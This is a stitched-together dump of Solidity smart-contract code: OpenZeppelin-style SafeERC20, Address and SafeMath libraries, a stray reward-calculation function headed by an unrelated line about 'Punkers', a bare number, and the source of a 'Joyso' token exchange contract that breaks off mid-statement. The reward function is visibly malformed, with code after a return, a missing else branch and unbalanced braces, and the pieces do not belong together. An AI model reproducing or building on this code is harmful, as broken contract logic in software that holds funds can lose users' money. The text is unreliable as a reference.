token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
Hard Work Now! For Punkers by 0xViktor...
function _calcRewards( address forge, address user, uint fromBlock, uint currentBlock ) internal view returns( uint ){ uint balance = balances[ forge ][ user ]; if( balance == 0 ) return 0; uint totalSupply = totalSupplies[ forge ]; uint weight = weights[ forge ]; uint startPeriod = _getPeriodFromBlock( fromBlock ); uint endPeriod = _getPeriodFromBlock( currentBlock ); if( startPeriod == endPeriod ){ uint during = currentBlock.sub( fromBlock ).mul( balance ).mul( weight ).mul( _perBlockRateFromPeriod( startPeriod ) ); return during.div( weightSum ).div( totalSupply ); uint denominator = weightSum.mul( totalSupply ); uint duringStartNumerator = _getBlockFromPeriod( startPeriod.add( 1 ) ).sub( fromBlock ); duringStartNumerator = duringStartNumerator.mul( weight ).mul( _perBlockRateFromPeriod( startPeriod ) ).mul( balance ); uint duringEndNumerator = currentBlock.sub( _getBlockFromPeriod( endPeriod ) ); duringEndNumerator = duringEndNumerator.mul( weight ).mul( _perBlockRateFromPeriod( endPeriod ) ).mul( balance ); uint duringMid = 0; for( uint i = startPeriod.add( 1 ) ; i < endPeriod ; i++ ) { uint numerator = BLOCK_YEAR.mul( 4 ).mul( balance ).mul( weight ).mul( _perBlockRateFromPeriod( i ) ); duringMid += numerator.div( denominator ); } uint duringStartAmount = duringStartNumerator.div( denominator ); uint duringEndAmount = duringEndNumerator.div( denominator ); return duringStartAmount + duringMid + duringEndAmount; } }
1,144,733
//Address: 0x04f062809b244e37e7fdc21d9409469c989c2342 //Contract name: Joyso //Balance: 230.855259807182888137 Ether //Verification Date: 5/4/2018 //Transacion Count: 3063 // CODE STARTS HERE pragma solidity 0.4.19; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } /** * @title Migratable * @dev an interface for joyso to migrate to the new version */ contract Migratable { function migrate(address user, uint256 amount, address tokenAddr) external payable returns (bool); } /** * @title JoysoDataDecoder * @author Will, Emn178 * @notice decode the joyso compressed data */ contract JoysoDataDecoder { function decodeOrderUserId(uint256 data) internal pure returns (uint256) { return data & 0x00000000000000000000000000000000000000000000000000000000ffffffff; } function retrieveV(uint256 data) internal pure returns (uint256) { // [24..24] v 0:27 1:28 return data & 0x000000000000000000000000f000000000000000000000000000000000000000 == 0 ? 27 : 28; } } /** * @title Joyso * @notice joyso main contract * @author Will, Emn178 */ contract Joyso is Ownable, JoysoDataDecoder { using SafeMath for uint256; uint256 private constant USER_MASK = 0x00000000000000000000000000000000000000000000000000000000ffffffff; uint256 private constant PAYMENT_METHOD_MASK = 0x00000000000000000000000f0000000000000000000000000000000000000000; uint256 private constant WITHDRAW_TOKEN_MASK = 0x0000000000000000000000000000000000000000000000000000ffff00000000; uint256 private constant V_MASK = 0x000000000000000000000000f000000000000000000000000000000000000000; uint256 private constant TOKEN_SELL_MASK = 0x000000000000000000000000000000000000000000000000ffff000000000000; uint256 private constant TOKEN_BUY_MASK = 0x0000000000000000000000000000000000000000000000000000ffff00000000; uint256 private constant SIGN_MASK = 0xffffffffffffffffffffffff0000000000000000000000000000000000000000; uint256 private constant MATCH_SIGN_MASK = 0xfffffffffffffffffffffff00000000000000000000000000000000000000000; uint256 private constant TOKEN_JOY_PRICE_MASK = 0x0000000000000000000000000fffffffffffffffffffffff0000000000000000; uint256 private constant JOY_PRICE_MASK = 0x0000000000000000fffffff00000000000000000000000000000000000000000; uint256 private constant IS_BUY_MASK = 0x00000000000000000000000f0000000000000000000000000000000000000000; uint256 private constant TAKER_FEE_MASK = 0x00000000ffff0000000000000000000000000000000000000000000000000000; uint256 private constant MAKER_FEE_MASK = 0x000000000000ffff000000000000000000000000000000000000000000000000; uint256 private constant PAY_BY_TOKEN = 0x0000000000000000000000020000000000000000000000000000000000000000; uint256 private constant PAY_BY_JOY = 0x0000000000000000000000010000000000000000000000000000000000000000; uint256 private constant ORDER_ISBUY = 0x0000000000000000000000010000000000000000000000000000000000000000; mapping (address => mapping (address => uint256)) private balances; mapping (address => uint256) public userLock; mapping (address => uint256) public userNonce; mapping (bytes32 => uint256) public orderFills; mapping (bytes32 => bool) public usedHash; mapping (address => bool) public isAdmin; mapping (uint256 => address) public tokenId2Address; mapping (uint256 => address) public userId2Address; mapping (address => uint256) public userAddress2Id; mapping (address => uint256) public tokenAddress2Id; address public joysoWallet; address public joyToken; uint256 public lockPeriod = 30 days; uint256 public userCount; bool public tradeEventEnabled = true; modifier onlyAdmin { require(msg.sender == owner || isAdmin[msg.sender]); _; } //events event Deposit(address token, address user, uint256 amount, uint256 balance); event Withdraw(address token, address user, uint256 amount, uint256 balance); event NewUser(address user, uint256 id); event Lock(address user, uint256 timeLock); // for debug event TradeSuccess(address user, uint256 baseAmount, uint256 tokenAmount, bool isBuy, uint256 fee); function Joyso(address _joysoWallet, address _joyToken) public { joysoWallet = _joysoWallet; addUser(_joysoWallet); joyToken = _joyToken; tokenAddress2Id[joyToken] = 1; tokenAddress2Id[0] = 0; // ether address is Id 0 tokenId2Address[0] = 0; tokenId2Address[1] = joyToken; } /** * @notice deposit token into the contract * @notice Be sure to Approve the contract to move your erc20 token * @param token The address of deposited token * @param amount The amount of token to deposit */ function depositToken(address token, uint256 amount) external { require(amount > 0); require(tokenAddress2Id[token] != 0); addUser(msg.sender); require(ERC20(token).transferFrom(msg.sender, this, amount)); balances[token][msg.sender] = balances[token][msg.sender].add(amount); Deposit( token, msg.sender, amount, balances[token][msg.sender] ); } /** * @notice deposit Ether into the contract */ function depositEther() external payable { require(msg.value > 0); addUser(msg.sender); balances[0][msg.sender] = balances[0][msg.sender].add(msg.value); Deposit( 0, msg.sender, msg.value, balances[0][msg.sender] ); } /** * @notice withdraw funds directly from contract * @notice must claim by lockme first, after a period of time it would be valid * @param token The address of withdrawed token, using address(0) to withdraw Ether * @param amount The amount of token to withdraw */ function withdraw(address token, uint256 amount) external { require(amount > 0); require(getTime() > userLock[msg.sender] && userLock[msg.sender] != 0); balances[token][msg.sender] = balances[token][msg.sender].sub(amount); if (token == 0) { msg.sender.transfer(amount); } else { require(ERC20(token).transfer(msg.sender, amount)); } Withdraw( token, msg.sender, amount, balances[token][msg.sender] ); } /** * @notice This function is used to claim to withdraw the funds * @notice The matching server will automaticlly remove all un-touched orders * @notice After a period of time, the claimed user can withdraw funds directly from contract without admins involved. */ function lockMe() external { require(userAddress2Id[msg.sender] != 0); userLock[msg.sender] = getTime() + lockPeriod; Lock(msg.sender, userLock[msg.sender]); } /** * @notice This function is used to revoke the claim of lockMe */ function unlockMe() external { require(userAddress2Id[msg.sender] != 0); userLock[msg.sender] = 0; Lock(msg.sender, 0); } /** * @notice set tradeEventEnabled, only owner * @param enabled Set tradeEventEnabled if enabled */ function setTradeEventEnabled(bool enabled) external onlyOwner { tradeEventEnabled = enabled; } /** * @notice add/remove a address to admin list, only owner * @param admin The address of the admin * @param isAdd Set the address's status in admin list */ function addToAdmin(address admin, bool isAdd) external onlyOwner { isAdmin[admin] = isAdd; } /** * @notice collect the fee to owner's address, only owner */ function collectFee(address token) external onlyOwner { uint256 amount = balances[token][joysoWallet]; require(amount > 0); balances[token][joysoWallet] = 0; if (token == 0) { msg.sender.transfer(amount); } else { require(ERC20(token).transfer(msg.sender, amount)); } Withdraw( token, joysoWallet, amount, 0 ); } /** * @notice change lock period, only owner * @dev can change from 1 days to 30 days, initial is 30 days */ function changeLockPeriod(uint256 periodInDays) external onlyOwner { require(periodInDays <= 30 && periodInDays >= 1); lockPeriod = periodInDays * 1 days; } /** * @notice add a new token into the token list, only admins * @dev index 0 & 1 are saved for Ether and JOY * @dev both index & token can not be redundant, and no removed mathod * @param tokenAddress token's address * @param index chosen index of the token */ function registerToken(address tokenAddress, uint256 index) external onlyAdmin { require(index > 1); require(tokenAddress2Id[tokenAddress] == 0); require(tokenId2Address[index] == 0); tokenAddress2Id[tokenAddress] = index; tokenId2Address[index] = tokenAddress; } /** * @notice withdraw with admins involved, only admin * @param inputs array of inputs, must have 5 elements * @dev inputs encoding please reference github wiki */ function withdrawByAdmin_Unau(uint256[] inputs) external onlyAdmin { uint256 amount = inputs[0]; uint256 gasFee = inputs[1]; uint256 data = inputs[2]; uint256 paymentMethod = data & PAYMENT_METHOD_MASK; address token = tokenId2Address[(data & WITHDRAW_TOKEN_MASK) >> 32]; address user = userId2Address[data & USER_MASK]; bytes32 hash = keccak256( this, amount, gasFee, data & SIGN_MASK | uint256(token) ); require(!usedHash[hash]); require( verify( hash, user, uint8(data & V_MASK == 0 ? 27 : 28), bytes32(inputs[3]), bytes32(inputs[4]) ) ); address gasToken = 0; if (paymentMethod == PAY_BY_JOY) { // pay fee by JOY gasToken = joyToken; } else if (paymentMethod == PAY_BY_TOKEN) { // pay fee by tx token gasToken = token; } if (gasToken == token) { // pay by ether or token balances[token][user] = balances[token][user].sub(amount.add(gasFee)); } else { balances[token][user] = balances[token][user].sub(amount); balances[gasToken][user] = balances[gasToken][user].sub(gasFee); } balances[gasToken][joysoWallet] = balances[gasToken][joysoWallet].add(gasFee); usedHash[hash] = true; if (token == 0) { user.transfer(amount); } else { require(ERC20(token).transfer(user, amount)); } } /** * @notice match orders with admins involved, only admin * @param inputs Array of input orders, each order have 6 elements. Inputs must conatin at least 2 orders. * @dev inputs encoding please reference github wiki */ function matchByAdmin_TwH36(uint256[] inputs) external onlyAdmin { uint256 data = inputs[3]; address user = userId2Address[data & USER_MASK]; // check taker order nonce require(data >> 224 > userNonce[user]); address token; bool isBuy; (token, isBuy) = decodeOrderTokenAndIsBuy(data); bytes32 orderHash = keccak256( this, inputs[0], inputs[1], inputs[2], data & MATCH_SIGN_MASK | (isBuy ? ORDER_ISBUY : 0) | uint256(token) ); require( verify( orderHash, user, uint8(data & V_MASK == 0 ? 27 : 28), bytes32(inputs[4]), bytes32(inputs[5]) ) ); uint256 tokenExecute = isBuy ? inputs[1] : inputs[0]; // taker order token execute tokenExecute = tokenExecute.sub(orderFills[orderHash]); require(tokenExecute != 0); // the taker order should remain something to trade uint256 etherExecute = 0; // taker order ether execute isBuy = !isBuy; for (uint256 i = 6; i < inputs.length; i += 6) { //check price, maker price should lower than taker price require(tokenExecute > 0 && inputs[1].mul(inputs[i + 1]) <= inputs[0].mul(inputs[i])); data = inputs[i + 3]; user = userId2Address[data & USER_MASK]; // check maker order nonce require(data >> 224 > userNonce[user]); bytes32 makerOrderHash = keccak256( this, inputs[i], inputs[i + 1], inputs[i + 2], data & MATCH_SIGN_MASK | (isBuy ? ORDER_ISBUY : 0) | uint256(token) ); require( verify( makerOrderHash, user, uint8(data & V_MASK == 0 ? 27 : 28), bytes32(inputs[i + 4]), bytes32(inputs[i + 5]) ) ); (tokenExecute, etherExecute) = internalTrade( inputs[i], inputs[i + 1], inputs[i + 2], data, tokenExecute, etherExecute, isBuy, token, 0, makerOrderHash ); } isBuy = !isBuy; tokenExecute = isBuy ? inputs[1].sub(tokenExecute) : inputs[0].sub(tokenExecute); tokenExecute = tokenExecute.sub(orderFills[orderHash]); processTakerOrder(inputs[2], inputs[3], tokenExecute, etherExecute, isBuy, token, 0, orderHash); } /** * @notice match token orders with admins involved, only admin * @param inputs Array of input orders, each order have 6 elements. Inputs must conatin at least 2 orders. * @dev inputs encoding please reference github wiki */ function matchTokenOrderByAdmin_k44j(uint256[] inputs) external onlyAdmin { address user = userId2Address[decodeOrderUserId(inputs[3])]; // check taker order nonce require(inputs[3] >> 224 > userNonce[user]); address token; address base; bool isBuy; (token, base, isBuy) = decodeTokenOrderTokenAndIsBuy(inputs[3]); bytes32 orderHash = getTokenOrderDataHash(inputs, 0, inputs[3], token, base); require( verify( orderHash, user, uint8(retrieveV(inputs[3])), bytes32(inputs[4]), bytes32(inputs[5]) ) ); uint256 tokenExecute = isBuy ? inputs[1] : inputs[0]; // taker order token execute tokenExecute = tokenExecute.sub(orderFills[orderHash]); require(tokenExecute != 0); // the taker order should remain something to trade uint256 baseExecute = 0; // taker order ether execute isBuy = !isBuy; for (uint256 i = 6; i < inputs.length; i += 6) { //check price, taker price should better than maker price require(tokenExecute > 0 && inputs[1].mul(inputs[i + 1]) <= inputs[0].mul(inputs[i])); user = userId2Address[decodeOrderUserId(inputs[i + 3])]; // check maker order nonce require(inputs[i + 3] >> 224 > userNonce[user]); bytes32 makerOrderHash = getTokenOrderDataHash(inputs, i, inputs[i + 3], token, base); require( verify( makerOrderHash, user, uint8(retrieveV(inputs[i + 3])), bytes32(inputs[i + 4]), bytes32(inputs[i + 5]) ) ); (tokenExecute, baseExecute) = internalTrade( inputs[i], inputs[i + 1], inputs[i + 2], inputs[i + 3], tokenExecute, baseExecute, isBuy, token, base, makerOrderHash ); } isBuy = !isBuy; tokenExecute = isBuy ? inputs[1].sub(tokenExecute) : inputs[0].sub(tokenExecute); tokenExecute = tokenExecute.sub(orderFills[orderHash]); processTakerOrder(inputs[2], inputs[3], tokenExecute, baseExecute, isBuy, token, base, orderHash); } /** * @notice update user on-chain nonce with admins involved, only admin * @param inputs Array of input data, must have 4 elements. * @dev inputs encoding please reference github wiki */ function cancelByAdmin(uint256[] inputs) external onlyAdmin { uint256 data = inputs[1]; uint256 nonce = data >> 224; address user = userId2Address[data & USER_MASK]; require(nonce > userNonce[user]); uint256 gasFee = inputs[0]; require( verify( keccak256(this, gasFee, data & SIGN_MASK), user, uint8(retrieveV(data)), bytes32(inputs[2]), bytes32(inputs[3]) ) ); // update balance address gasToken = 0; if (data & PAYMENT_METHOD_MASK == PAY_BY_JOY) { gasToken = joyToken; } require(balances[gasToken][user] >= gasFee); balances[gasToken][user] = balances[gasToken][user].sub(gasFee); balances[gasToken][joysoWallet] = balances[gasToken][joysoWallet].add(gasFee); // update user nonce userNonce[user] = nonce; } /** * @notice batch send the current balance to the new version contract * @param inputs Array of input data * @dev inputs encoding please reference github wiki */ function migrateByAdmin_DQV(uint256[] inputs) external onlyAdmin { uint256 data = inputs[2]; address token = tokenId2Address[(data & WITHDRAW_TOKEN_MASK) >> 32]; address newContract = address(inputs[0]); for (uint256 i = 1; i < inputs.length; i += 4) { uint256 gasFee = inputs[i]; data = inputs[i + 1]; address user = userId2Address[data & USER_MASK]; bytes32 hash = keccak256( this, gasFee, data & SIGN_MASK | uint256(token), newContract ); require( verify( hash, user, uint8(data & V_MASK == 0 ? 27 : 28), bytes32(inputs[i + 2]), bytes32(inputs[i + 3]) ) ); if (gasFee > 0) { uint256 paymentMethod = data & PAYMENT_METHOD_MASK; if (paymentMethod == PAY_BY_JOY) { balances[joyToken][user] = balances[joyToken][user].sub(gasFee); balances[joyToken][joysoWallet] = balances[joyToken][joysoWallet].add(gasFee); } else if (paymentMethod == PAY_BY_TOKEN) { balances[token][user] = balances[token][user].sub(gasFee); balances[token][joysoWallet] = balances[token][joysoWallet].add(gasFee); } else { balances[0][user] = balances[0][user].sub(gasFee); balances[0][joysoWallet] = balances[0][joysoWallet].add(gasFee); } } uint256 amount = balances[token][user]; balances[token][user] = 0; if (token == 0) { Migratable(newContract).migrate.value(amount)(user, amount, token); } else { ERC20(token).approve(newContract, amount); Migratable(newContract).migrate(user, amount, token); } } } /** * @notice transfer token from admin to users * @param token address of token * @param account receiver's address * @param amount amount to transfer */ function transferForAdmin(address token, address account, uint256 amount) onlyAdmin external { require(tokenAddress2Id[token] != 0); require(userAddress2Id[msg.sender] != 0); addUser(account); balances[token][msg.sender] = balances[token][msg.sender].sub(amount); balances[token][account] = balances[token][account].add(amount); } /** * @notice get balance information * @param token address of token * @param account address of user */ function getBalance(address token, address account) external view returns (uint256) { return balances[token][account]; } /** * @dev get tokenId and check the order is a buy order or not, internal * tokenId take 4 bytes * isBuy is true means this order is buying token */ function decodeOrderTokenAndIsBuy(uint256 data) internal view returns (address token, bool isBuy) { uint256 tokenId = (data & TOKEN_SELL_MASK) >> 48; if (tokenId == 0) { token = tokenId2Address[(data & TOKEN_BUY_MASK) >> 32]; isBuy = true; } else { token = tokenId2Address[tokenId]; } } /** * @dev decode token oreder data, internal */ function decodeTokenOrderTokenAndIsBuy(uint256 data) internal view returns (address token, address base, bool isBuy) { isBuy = data & IS_BUY_MASK == ORDER_ISBUY; if (isBuy) { token = tokenId2Address[(data & TOKEN_BUY_MASK) >> 32]; base = tokenId2Address[(data & TOKEN_SELL_MASK) >> 48]; } else { token = tokenId2Address[(data & TOKEN_SELL_MASK) >> 48]; base = tokenId2Address[(data & TOKEN_BUY_MASK) >> 32]; } } function getTime() internal view returns (uint256) { return now; } /** * @dev get token order's hash for user to sign, internal * @param inputs forword tokenOrderMatch's input to this function * @param offset offset of the order in inputs */ function getTokenOrderDataHash(uint256[] inputs, uint256 offset, uint256 data, address token, address base) internal view returns (bytes32) { return keccak256( this, inputs[offset], inputs[offset + 1], inputs[offset + 2], data & SIGN_MASK | uint256(token), base, (data & TOKEN_JOY_PRICE_MASK) >> 64 ); } /** * @dev check if the provided signature is valid, internal * @param hash signed information * @param sender signer address * @param v sig_v * @param r sig_r * @param s sig_s */ function verify(bytes32 hash, address sender, uint8 v, bytes32 r, bytes32 s) internal pure returns (bool) { return ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) == sender; } /** * @dev give a new user an id, intrnal */ function addUser(address _address) internal { if (userAddress2Id[_address] != 0) { return; } userCount += 1; userAddress2Id[_address] = userCount; userId2Address[userCount] = _address; NewUser(_address, userCount); } function processTakerOrder( uint256 gasFee, uint256 data, uint256 tokenExecute, uint256 baseExecute, bool isBuy, address token, address base, bytes32 orderHash ) internal { uint256 fee = calculateFee(gasFee, data, baseExecute, orderHash, true, base == 0); updateUserBalance(data, isBuy, baseExecute, tokenExecute, fee, token, base); orderFills[orderHash] = orderFills[orderHash].add(tokenExecute); if (tradeEventEnabled) { TradeSuccess(userId2Address[data & USER_MASK], baseExecute, tokenExecute, isBuy, fee); } } function internalTrade( uint256 amountSell, uint256 amountBuy, uint256 gasFee, uint256 data, uint256 _remainingToken, uint256 _baseExecute, bool isBuy, address token, address base, bytes32 orderHash ) internal returns (uint256 remainingToken, uint256 baseExecute) { uint256 tokenGet = calculateTokenGet(amountSell, amountBuy, _remainingToken, isBuy, orderHash); uint256 baseGet = calculateBaseGet(amountSell, amountBuy, isBuy, tokenGet); uint256 fee = 